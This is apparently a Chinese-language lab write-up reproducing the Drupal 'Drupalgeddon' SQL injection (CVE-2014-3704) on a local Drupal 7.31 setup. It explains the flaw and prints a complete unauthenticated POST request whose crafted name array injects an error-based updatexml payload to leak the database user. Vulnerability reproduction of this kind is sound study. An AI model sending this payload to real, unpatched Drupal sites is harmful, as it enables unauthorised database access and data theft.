Drupal < 7.32 "Drupalgeddon" SQL 注入漏洞 (CVE-2014-3704)

Drupal < 7.32 “Drupalgeddon” SQL 注入漏洞 (CVE-2014-3704)

Drupal 是一个免费的开源 Web 内容管理框架,用 PHP 编写并在 GNU 通用公共许可证下分发。

Drupal core 7.x 7.32之前的数据库抽象API中的expandArguments函数没有正确构造prepared statement,这使得远程攻击者可以通过包含精心制作的key的数组进行SQL注入攻击。

启动Drupal 7.31 环境。

漏洞复现

服务器启动后,浏览http://192.168.44.132:8080查看Drupal安装向导,使用默认配置进行安装。

注意Mysql数据库名称是drupal,数据库用户名和密码是root,地址是mysql

image-20210714104527357

安装完成后,浏览主页。

image-20210714104712395

SQL 注入不需要身份验证,可以通过发送以下请求来执行恶意 SQL 语句。

1
2
3
4
5
6
7
8
9
10
11
POST /?q=node&destination=node HTTP/1.1
Host: 192.168.44.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 120

pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a

可以看出,SQL 语句报告了一条包含用户数据的错误消息。

image-20210714105545912

0%